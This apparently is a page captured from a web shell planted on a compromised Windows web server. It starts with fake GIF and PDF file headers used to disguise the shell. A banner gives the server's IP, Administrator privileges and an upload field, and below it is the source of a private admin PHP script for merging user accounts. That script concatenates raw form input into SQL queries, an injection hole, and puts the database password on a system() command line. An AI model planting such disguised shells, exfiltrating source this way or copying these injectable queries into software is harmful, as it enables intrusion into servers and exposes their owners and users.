GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/User/ |
Upload File : |
<? // Admin/UserMerge.phpinc // Merge user accounts. #setDebugOn(); debugTrackBegin(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; } if ($debugIP) { echo "<b>\$_POST=</b><pre>"; print_r($_POST); echo "</pre>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; echo "<b>\$_SESSION['uuid']=",$_SESSION['uuid'],"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; setDebugOn(); include('common/pageFooter.phpinc'); } /* */ $f_message = ''; if ($f_form == 'form_userMerge' && isset($_SESSION['uuid']) && isset($f_uuid) && $f_uuid != $_SESSION['uuid']) { // Get the userId to merge. $f_userIdToMergeTo = formValue('userIdToMergeTo'); #echo "<b>\$f_userIdToMergeTo=",$f_userIdToMergeTo,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; // Make sure $f_userIdToMergeTo is a valid userId. $query = " SELECT userId FROM user WHERE userId = ".$f_userIdToMergeTo." "; $userIdToMergeToResult = query_do($query); $userIdToMergeToCount = $_SESSION['qry']['count']; if ($userIdToMergeToCount) { // Continue only if the userStudentId was found. $f_count = formValue('count'); if ($f_count > 1) { // Create array of merge userId's. $f_userIdToMergeFrom = array(); for ($i=1; $i<=$f_count; $i++) { $f_this_userIdToMergeFrom = formValue('userIdToMergeFrom_'.$i); if ($f_this_userIdToMergeFrom != $f_userIdToMergeTo) { $f_userIdToMergeFrom[$i] = $f_this_userIdToMergeFrom; } } #echo "<b>\$f_userIdToMergeFrom="; print_r($f_userIdToMergeFrom); echo "</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; #echo "<b>count($f_userIdToMergeFrom)=",count($f_userIdToMergeFrom),"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; if (count($f_userIdToMergeFrom)) { // Backup the database before merge. $backupFilePath = $_SESSION['DIRECTORY_ROOT'].'Admin/backup/'; $backupFilename = $_SESSION['DATABASE']['database'].'_before_user_merge_'.date("Ymd_His").".sql"; $mysqlCommandPath = 'D:/MySQL/bin/'; $backupCommand = $mysqlCommandPath.'mysqldump --opt --user='.$_SESSION['DATABASE']['username'].' --password='.$_SESSION['DATABASE']['password'].' '.$_SESSION['DATABASE']['database'].' > '.$backupFilePath.$backupFilename; system($backupCommand); $backupFound = file_exists($backupFilePath.$backupFilename); if ($backupFound) { $f_message .= "Database backed up to ".$backupFilename.".<br>"; // Get list of tables. $query="SHOW TABLES FROM ".$_SESSION['DATABASE']['database']; $queryField = 'Tables_in_'.$_SESSION['DATABASE']['database']; $tableResult = query_do($query); $tableCount = $_SESSION['qry']['count']; // Create array to hold delete queries as these must be performed after all updates. $f_DELETE_queryList = array(); // Merge the duplicate users. foreach ($f_userIdToMergeFrom as $this_userIdToMergeFrom) { #echo "<b>\$this_userIdToMergeFrom=",$this_userIdToMergeFrom,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; // Continue only if the userId is not the one to merge to. // Parse through tables to change userId and *By fields. mysqli_data_seek($tableResult, 0); while ($tableRow = mysqli_fetch_assoc($tableResult)) { // Set $f_table. $f_table = $tableRow[$queryField]; #echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:blue">$f_table='.$f_table."</span><br>\n"; // Get the list of fields for this table. $query="SHOW COLUMNS FROM ".$f_table; $fieldResult = query_do($query); $fieldCount = $_SESSION['qry']['count']; // Parse table fields for userId and modifiedBy. while ($fieldRow = mysqli_fetch_assoc($fieldResult)) { // Get field name. $fieldName = $fieldRow['Field']; if (dc()) { #echo basename(__FILE__)," line ",__LINE__,": ","\$f_table=".$f_table." "; print_r($fieldRow); echo "<br>\n"; } // Continue if field name is userId or *By. if ($fieldName == 'userId' || substr($fieldName,strlen($fieldName)-2,2) == "By") { // Test if the fieldName is not userId or the table is not user or useruserpermission. if ($fieldName != 'userId' || ($f_table != 'user' && $f_table != 'useruserpermission')) { // This is not a userId field or the table is not the user or useruserpermission table. // Update the field to $f_userIdToMergeTo. $f_lastModified = currentDateTime(); $query = " UPDATE ".$f_table." SET ".$fieldName." = ".$f_userIdToMergeTo." WHERE ".$fieldName." = ".$this_userIdToMergeFrom." "; #echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:green">',"\$query=".$query.'</span>',"<br>\n"; $tableUpdate = query_do($query); } else { // This is either the user or useruserpermission table. // Only delete the record if the field is userId. if ($fieldName == 'userId' || $fieldName == 'modifiedBy') { // Delete the duplicate record from the table. $f_DELETE_queryList[] = " DELETE FROM ".$f_table." WHERE ".$fieldName." = ".$this_userIdToMergeFrom." "; } } } } } $f_message .= "Duplicate user ".userName($this_userIdToMergeFrom)." (userId ".$this_userIdToMergeFrom.") merged with ".userName($f_userIdToMergeTo)." (userId ".$f_userIdToMergeTo.").<br>"; } foreach ($f_DELETE_queryList as $query) { #echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:red">',"\$query=".$query.'</span>',"<br>\n"; $tableDelete = query_do($query); } #$_SESSION['uuid'] = $f_uuid; } else { // The backup failed. $f_message = 'Backup of database failed. Merge could not continue.<br>'; } } else { // count($f_userIdToMergeFrom) is not >= 1. The list must have contained duplicate userId's. There are no other users to merge. $f_message = 'The list of users to merge only contained the merge target. Merge could not continue.<br>'; } } else { // count is not > 2. There are no other users to merge. $f_message = 'The list of users to merge was empty. Merge could not continue.<br>'; } } else { // userIdToMergeTo is not a valid userId. Merge could not continue. $f_message = 'The userId '.$f_userIdToMergeTo.' is not a valid userId. Merge could not continue.<br>'; } } if ($debugIP) { #setDebugOn(); #include('common/pageFooter.phpinc'); #exit; } /* */ ?>